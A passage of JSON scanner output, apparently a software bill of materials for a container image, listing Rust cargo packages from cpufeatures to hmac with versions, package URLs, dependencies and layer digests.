"AnalyzedBy": "rustbinary" }, { "ID": "cpufeatures@0.2.17", "Name": "cpufeatures", "Identifier": { "PURL": "pkg:cargo/cpufeatures@0.2.17", "UID": "db376604a2e34237" }, "Version": "0.2.17", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crc32fast@1.5.0", "Name": "crc32fast", "Identifier": { "PURL": "pkg:cargo/crc32fast@1.5.0", "UID": "15ca5d9911fa5d77" }, "Version": "1.5.0", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-channel@0.5.15", "Name": "crossbeam-channel", "Identifier": { "PURL": "pkg:cargo/crossbeam-channel@0.5.15", "UID": "771300df6e4e4c45" }, "Version": "0.5.15", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-deque@0.8.6", "Name": "crossbeam-deque", "Identifier": { "PURL": "pkg:cargo/crossbeam-deque@0.8.6", "UID": "f09abca9481aa539" }, "Version": "0.8.6", "DependsOn": [ "crossbeam-epoch@0.9.18", "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-epoch@0.9.18", "Name": "crossbeam-epoch", "Identifier": { "PURL": "pkg:cargo/crossbeam-epoch@0.9.18", "UID": "c5d59c3a389a3dd6" }, "Version": "0.9.18", "DependsOn": [ "crossbeam-utils@0.8.21" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crossbeam-utils@0.8.21", "Name": "crossbeam-utils", "Identifier": { "PURL": "pkg:cargo/crossbeam-utils@0.8.21", "UID": "44c32186cd2f4713" }, "Version": "0.8.21", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "crypto-common@0.1.7", "Name": "crypto-common", "Identifier": { "PURL": "pkg:cargo/crypto-common@0.1.7", "UID": "1539fc299f96b09b" }, "Version": "0.1.7", "DependsOn": [ "generic-array@0.14.7", "typenum@1.19.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "csv@1.4.0", "Name": "csv", "Identifier": { "PURL": "pkg:cargo/csv@1.4.0", "UID": "e9cbba7f71520253" }, "Version": "1.4.0", "DependsOn": [ "csv-core@0.1.13", "itoa@1.0.17", "ryu@1.0.23", "serde_core@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "csv-core@0.1.13", "Name": "csv-core", "Identifier": { "PURL": "pkg:cargo/csv-core@0.1.13", "UID": "fa65fe0fdd4b8e2c" }, "Version": "0.1.13", "DependsOn": [ "memchr@2.8.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "ctrlc@3.5.2", "Name": "ctrlc", "Identifier": { "PURL": "pkg:cargo/ctrlc@3.5.2", "UID": "868a1953ed9ff7cb" }, "Version": "3.5.2", "DependsOn": [ "nix@0.31.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cyclonedx-bom@0.8.1", "Name": "cyclonedx-bom", "Identifier": { "PURL": "pkg:cargo/cyclonedx-bom@0.8.1", "UID": "da1ed8f7a6d9a603" }, "Version": "0.8.1", "DependsOn": [ "base64@0.22.1", "cyclonedx-bom-macros@0.1.0", "fluent-uri@0.4.1", "indexmap@2.14.0", "once_cell@1.21.4", "ordered-float@5.3.0", "purl@0.1.6", "regex@1.12.4", "serde@1.0.228", "serde_json@1.0.150", "spdx@0.13.4", "strum@0.28.0", "thiserror@2.0.18", "time@0.3.47", "uuid@1.23.3", "xml-rs@0.8.28" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "cyclonedx-bom-macros@0.1.0", "Name": "cyclonedx-bom-macros", "Identifier": { "PURL": "pkg:cargo/cyclonedx-bom-macros@0.1.0", "UID": "72c0f23b4d402563" }, "Version": "0.1.0", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "data-encoding@2.11.0", "Name": "data-encoding", "Identifier": { "PURL": "pkg:cargo/data-encoding@2.11.0", "UID": "18dc2ad8e8e89a01" }, "Version": "2.11.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deadpool@0.12.3", "Name": "deadpool", "Identifier": { "PURL": "pkg:cargo/deadpool@0.12.3", "UID": "29e7fa0cbaf66757" }, "Version": "0.12.3", "DependsOn": [ "deadpool-runtime@0.1.4", "lazy_static@1.5.0", "num_cpus@1.17.0", "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deadpool-runtime@0.1.4", "Name": "deadpool-runtime", "Identifier": { "PURL": "pkg:cargo/deadpool-runtime@0.1.4", "UID": "6a7223e8d3f6d114" }, "Version": "0.1.4", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "der@0.7.10", "Name": "der", "Identifier": { "PURL": "pkg:cargo/der@0.7.10", "UID": "e58e031933fdd1d0" }, "Version": "0.7.10", "DependsOn": [ "const-oid@0.9.6", "pem-rfc7468@0.7.0", "zeroize@1.9.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "der-parser@10.0.0", "Name": "der-parser", "Identifier": { "PURL": "pkg:cargo/der-parser@10.0.0", "UID": "85569bcf130a822b" }, "Version": "10.0.0", "DependsOn": [ "asn1-rs@0.7.1", "displaydoc@0.2.5", "nom@7.1.3", "num-bigint@0.4.6", "num-traits@0.2.19", "rusticata-macros@4.1.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "deranged@0.5.8", "Name": "deranged", "Identifier": { "PURL": "pkg:cargo/deranged@0.5.8", "UID": "12dec749e0e7a649" }, "Version": "0.5.8", "DependsOn": [ "powerfmt@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "difflib@0.4.0", "Name": "difflib", "Identifier": { "PURL": "pkg:cargo/difflib@0.4.0", "UID": "2e50eded769246cf" }, "Version": "0.4.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "digest@0.10.7", "Name": "digest", "Identifier": { "PURL": "pkg:cargo/digest@0.10.7", "UID": "b1458d0137310fc6" }, "Version": "0.10.7", "DependsOn": [ "block-buffer@0.10.4", "const-oid@0.9.6", "crypto-common@0.1.7", "subtle@2.6.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dirs@6.0.0", "Name": "dirs", "Identifier": { "PURL": "pkg:cargo/dirs@6.0.0", "UID": "8c89694d7a9ddcf4" }, "Version": "6.0.0", "DependsOn": [ "dirs-sys@0.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dirs-sys@0.5.0", "Name": "dirs-sys", "Identifier": { "PURL": "pkg:cargo/dirs-sys@0.5.0", "UID": "51bae83f4d1eb785" }, "Version": "0.5.0", "DependsOn": [ "libc@0.2.186", "option-ext@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "diskus@0.9.0", "Name": "diskus", "Identifier": { "PURL": "pkg:cargo/diskus@0.9.0", "UID": "afbbafb63b342e01" }, "Version": "0.9.0", "DependsOn": [ "crossbeam-channel@0.5.15", "rayon@1.12.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "displaydoc@0.2.5", "Name": "displaydoc", "Identifier": { "PURL": "pkg:cargo/displaydoc@0.2.5", "UID": "6fcf7aada7094513" }, "Version": "0.2.5", "DependsOn": [ "proc-macro2@1.0.106", "quote@1.0.45", "syn@2.0.117" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dlv-list@0.5.2", "Name": "dlv-list", "Identifier": { "PURL": "pkg:cargo/dlv-list@0.5.2", "UID": "f97aa674044a813" }, "Version": "0.5.2", "DependsOn": [ "const-random@0.1.18" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dotenvy@0.15.7", "Name": "dotenvy", "Identifier": { "PURL": "pkg:cargo/dotenvy@0.15.7", "UID": "aa273d11a43a3f44" }, "Version": "0.15.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dunce@1.0.5", "Name": "dunce", "Identifier": { "PURL": "pkg:cargo/dunce@1.0.5", "UID": "8b7b43778df25128" }, "Version": "1.0.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "dyn-clone@1.0.20", "Name": "dyn-clone", "Identifier": { "PURL": "pkg:cargo/dyn-clone@1.0.20", "UID": "349c9a12908cbb75" }, "Version": "1.0.20", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "either@1.16.0", "Name": "either", "Identifier": { "PURL": "pkg:cargo/either@1.16.0", "UID": "28422dee1aef6895" }, "Version": "1.16.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "encoding_rs@0.8.35", "Name": "encoding_rs", "Identifier": { "PURL": "pkg:cargo/encoding_rs@0.8.35", "UID": "a543043f8b3faaa1" }, "Version": "0.8.35", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "encoding_rs_io@0.1.7", "Name": "encoding_rs_io", "Identifier": { "PURL": "pkg:cargo/encoding_rs_io@0.1.7", "UID": "88d9ab660446067b" }, "Version": "0.1.7", "DependsOn": [ "encoding_rs@0.8.35" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "endi@1.1.1", "Name": "endi", "Identifier": { "PURL": "pkg:cargo/endi@1.1.1", "UID": "e34b4926b9a91473" }, "Version": "1.1.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "enumflags2@0.7.12", "Name": "enumflags2", "Identifier": { "PURL": "pkg:cargo/enumflags2@0.7.12", "UID": "5b0cacdb4db4e8e4" }, "Version": "0.7.12", "DependsOn": [ "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "equivalent@1.0.2", "Name": "equivalent", "Identifier": { "PURL": "pkg:cargo/equivalent@1.0.2", "UID": "e0daf4cbc292f1b4" }, "Version": "1.0.2", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "erased-serde@0.4.10", "Name": "erased-serde", "Identifier": { "PURL": "pkg:cargo/erased-serde@0.4.10", "UID": "73c883f32017ab74" }, "Version": "0.4.10", "DependsOn": [ "serde_core@1.0.228", "typeid@1.0.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "errno@0.3.14", "Name": "errno", "Identifier": { "PURL": "pkg:cargo/errno@0.3.14", "UID": "a457280c53058ce0" }, "Version": "0.3.14", "DependsOn": [ "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "etcetera@0.11.0", "Name": "etcetera", "Identifier": { "PURL": "pkg:cargo/etcetera@0.11.0", "UID": "8c1e845ff4b67d3e" }, "Version": "0.11.0", "DependsOn": [ "cfg-if@1.0.4" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "event-listener@5.4.1", "Name": "event-listener", "Identifier": { "PURL": "pkg:cargo/event-listener@5.4.1", "UID": "6e56db4592dff30c" }, "Version": "5.4.1", "DependsOn": [ "concurrent-queue@2.5.0", "parking@2.2.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "event-listener-strategy@0.5.4", "Name": "event-listener-strategy", "Identifier": { "PURL": "pkg:cargo/event-listener-strategy@0.5.4", "UID": "295f918cb9ba9bbd" }, "Version": "0.5.4", "DependsOn": [ "event-listener@5.4.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fastrand@2.4.1", "Name": "fastrand", "Identifier": { "PURL": "pkg:cargo/fastrand@2.4.1", "UID": "802951a798364715" }, "Version": "2.4.1", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "filetime@0.2.29", "Name": "filetime", "Identifier": { "PURL": "pkg:cargo/filetime@0.2.29", "UID": "becfe5e59420593c" }, "Version": "0.2.29", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fixedbitset@0.5.7", "Name": "fixedbitset", "Identifier": { "PURL": "pkg:cargo/fixedbitset@0.5.7", "UID": "3acad1b7143146f" }, "Version": "0.5.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "flate2@1.1.9", "Name": "flate2", "Identifier": { "PURL": "pkg:cargo/flate2@1.1.9", "UID": "c2da07b677c735b1" }, "Version": "1.1.9", "DependsOn": [ "crc32fast@1.5.0", "miniz_oxide@0.8.9", "zlib-rs@0.6.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "float-cmp@0.10.0", "Name": "float-cmp", "Identifier": { "PURL": "pkg:cargo/float-cmp@0.10.0", "UID": "c968f399d6cb09c9" }, "Version": "0.10.0", "DependsOn": [ "num-traits@0.2.19" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fluent-uri@0.4.1", "Name": "fluent-uri", "Identifier": { "PURL": "pkg:cargo/fluent-uri@0.4.1", "UID": "a7d90f4357f1dedb" }, "Version": "0.4.1", "DependsOn": [ "borrow-or-share@0.2.4", "ref-cast@1.0.25", "serde@1.0.228" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fnv@1.0.7", "Name": "fnv", "Identifier": { "PURL": "pkg:cargo/fnv@1.0.7", "UID": "296c253bb342c7d9" }, "Version": "1.0.7", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "foldhash@0.1.5", "Name": "foldhash", "Identifier": { "PURL": "pkg:cargo/foldhash@0.1.5", "UID": "cde577fe9d847c30" }, "Version": "0.1.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "foldhash@0.2.0", "Name": "foldhash", "Identifier": { "PURL": "pkg:cargo/foldhash@0.2.0", "UID": "9ac540bf267d3804" }, "Version": "0.2.0", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "form_urlencoded@1.2.2", "Name": "form_urlencoded", "Identifier": { "PURL": "pkg:cargo/form_urlencoded@1.2.2", "UID": "205700e7b1d7cd4d" }, "Version": "1.2.2", "DependsOn": [ "percent-encoding@2.3.2" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "fs-err@3.3.0", "Name": "fs-err", "Identifier": { "PURL": "pkg:cargo/fs-err@3.3.0", "UID": "415d0697b626cb24" }, "Version": "3.3.0", "DependsOn": [ "tokio@1.52.3" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures@0.3.32", "Name": "futures", "Identifier": { "PURL": "pkg:cargo/futures@0.3.32", "UID": "4e819aff618f2c00" }, "Version": "0.3.32", "DependsOn": [ "futures-channel@0.3.32", "futures-core@0.3.32", "futures-executor@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "futures-task@0.3.32", "futures-util@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-channel@0.3.32", "Name": "futures-channel", "Identifier": { "PURL": "pkg:cargo/futures-channel@0.3.32", "UID": "540d9df6fa665dc7" }, "Version": "0.3.32", "DependsOn": [ "futures-core@0.3.32", "futures-sink@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-core@0.3.32", "Name": "futures-core", "Identifier": { "PURL": "pkg:cargo/futures-core@0.3.32", "UID": "aceb96977c6bb3aa" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-executor@0.3.32", "Name": "futures-executor", "Identifier": { "PURL": "pkg:cargo/futures-executor@0.3.32", "UID": "3aeb7fd678e5b8b5" }, "Version": "0.3.32", "DependsOn": [ "futures-core@0.3.32", "futures-task@0.3.32", "futures-util@0.3.32" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-io@0.3.32", "Name": "futures-io", "Identifier": { "PURL": "pkg:cargo/futures-io@0.3.32", "UID": "7e2c7e5b425b4aea" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-lite@2.6.1", "Name": "futures-lite", "Identifier": { "PURL": "pkg:cargo/futures-lite@2.6.1", "UID": "eb26e4fa24be7fbe" }, "Version": "2.6.1", "DependsOn": [ "fastrand@2.4.1", "futures-core@0.3.32", "futures-io@0.3.32", "parking@2.2.1", "pin-project-lite@0.2.17" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-sink@0.3.32", "Name": "futures-sink", "Identifier": { "PURL": "pkg:cargo/futures-sink@0.3.32", "UID": "187c792dec9ddc4e" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-task@0.3.32", "Name": "futures-task", "Identifier": { "PURL": "pkg:cargo/futures-task@0.3.32", "UID": "22b859279df8080e" }, "Version": "0.3.32", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "futures-util@0.3.32", "Name": "futures-util", "Identifier": { "PURL": "pkg:cargo/futures-util@0.3.32", "UID": "bd3d2c02f1a566e1" }, "Version": "0.3.32", "DependsOn": [ "futures-channel@0.3.32", "futures-core@0.3.32", "futures-io@0.3.32", "futures-sink@0.3.32", "futures-task@0.3.32", "memchr@2.8.2", "pin-project-lite@0.2.17", "slab@0.4.12" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "generic-array@0.14.7", "Name": "generic-array", "Identifier": { "PURL": "pkg:cargo/generic-array@0.14.7", "UID": "f7ed899c172d0971" }, "Version": "0.14.7", "DependsOn": [ "typenum@1.19.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.2.16", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.2.16", "UID": "629317465f77b5f9" }, "Version": "0.2.16", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.3.3", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.3.3", "UID": "1254e78f90348f05" }, "Version": "0.3.3", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "getrandom@0.4.1", "Name": "getrandom", "Identifier": { "PURL": "pkg:cargo/getrandom@0.4.1", "UID": "2c712ae3edf6aadd" }, "Version": "0.4.1", "DependsOn": [ "cfg-if@1.0.4", "libc@0.2.186" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "glob@0.3.3", "Name": "glob", "Identifier": { "PURL": "pkg:cargo/glob@0.3.3", "UID": "d07c341e665d26de" }, "Version": "0.3.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "globset@0.4.18", "Name": "globset", "Identifier": { "PURL": "pkg:cargo/globset@0.4.18", "UID": "9c8a0643b1ab7c54" }, "Version": "0.4.18", "DependsOn": [ "aho-corasick@1.1.4", "bstr@1.12.1", "log@0.4.29", "regex-automata@0.4.14", "regex-syntax@0.8.11" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "globwalk@0.9.1", "Name": "globwalk", "Identifier": { "PURL": "pkg:cargo/globwalk@0.9.1", "UID": "b321975f9d77cbc5" }, "Version": "0.9.1", "DependsOn": [ "bitflags@2.13.0", "ignore@0.4.26", "walkdir@2.5.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "goblin@0.10.7", "Name": "goblin", "Identifier": { "PURL": "pkg:cargo/goblin@0.10.7", "UID": "660198de1313a6c3" }, "Version": "0.10.7", "DependsOn": [ "log@0.4.29", "plain@0.2.3", "scroll@0.13.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "h2@0.4.14", "Name": "h2", "Identifier": { "PURL": "pkg:cargo/h2@0.4.14", "UID": "a391067674933f98" }, "Version": "0.4.14", "DependsOn": [ "atomic-waker@1.1.2", "bytes@1.11.1", "fnv@1.0.7", "futures-core@0.3.32", "futures-sink@0.3.32", "http@1.4.1", "indexmap@2.14.0", "slab@0.4.12", "tokio@1.52.3", "tokio-util@0.7.18", "tracing@0.1.44" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.14.5", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.14.5", "UID": "b01454123ca3aa2b" }, "Version": "0.14.5", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.15.5", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.15.5", "UID": "62d380e73560bff6" }, "Version": "0.15.5", "DependsOn": [ "foldhash@0.1.5" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hashbrown@0.17.1", "Name": "hashbrown", "Identifier": { "PURL": "pkg:cargo/hashbrown@0.17.1", "UID": "ec3953fe2085dc9e" }, "Version": "0.17.1", "DependsOn": [ "allocator-api2@0.2.21", "equivalent@1.0.2", "foldhash@0.2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hex@0.4.3", "Name": "hex", "Identifier": { "PURL": "pkg:cargo/hex@0.4.3", "UID": "d3d65dc7b989ce1c" }, "Version": "0.4.3", "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hkdf@0.12.4", "Name": "hkdf", "Identifier": { "PURL": "pkg:cargo/hkdf@0.12.4", "UID": "9459b6b08faa6d08" }, "Version": "0.12.4", "DependsOn": [ "hmac@0.12.1" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "AnalyzedBy": "rustbinary" }, { "ID": "hmac@0.12.1", "Name": "hmac", "Identifier": { "PURL": "pkg:cargo/hmac@0.12.1", "UID": "16fe431947a6ff57" }, "Version": "0.12.1", "DependsOn": [ "digest@0.10.7" ], "Layer": { "DiffID": 